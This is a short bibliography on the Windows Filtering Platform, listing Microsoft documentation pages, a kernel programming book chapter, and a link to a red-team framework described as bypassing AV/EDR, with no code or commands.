* [BOAZ](https://github.com/dmore/BOAZ-Red-bypass-av-edr-fwork-evade-zerotrust-obfuscate-evolve-) — Red team framework with AV/EDR bypass capabilities
* Pavel Yosifovich, *Advanced Windows Kernel Programming*, Module 6: The Windows Filtering Platform, ©2023
* Microsoft: [Windows Filtering Platform Architecture Overview](https://learn.microsoft.com/en-us/windows/win32/fwp/windows-filtering-platform-architecture-overview)
* Microsoft: [Filtering Layer Identifiers](https://learn.microsoft.com/en-us/windows/win32/fwp/management-filtering-layer-identifiers-)
* Microsoft: [Filtering Conditions Available at Each Filtering Layer](https://learn.microsoft.com/en-us/windows/win32/fwp/filtering-conditions-available-at-each-filtering-layer)
* Microsoft: [WFP Callout Drivers](https://learn.microsoft.com/en-us/windows-hardware/drivers/network/introduction-to-windows-filtering-platform-callout-drivers)
* Microsoft: [TCP Packet Flows](https://learn.microsoft.com/en-us/windows/win32/fwp/tcp-packet-flows)
* Microsoft: [Security Auditing for WFP (Events 5440–5461)](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5441)
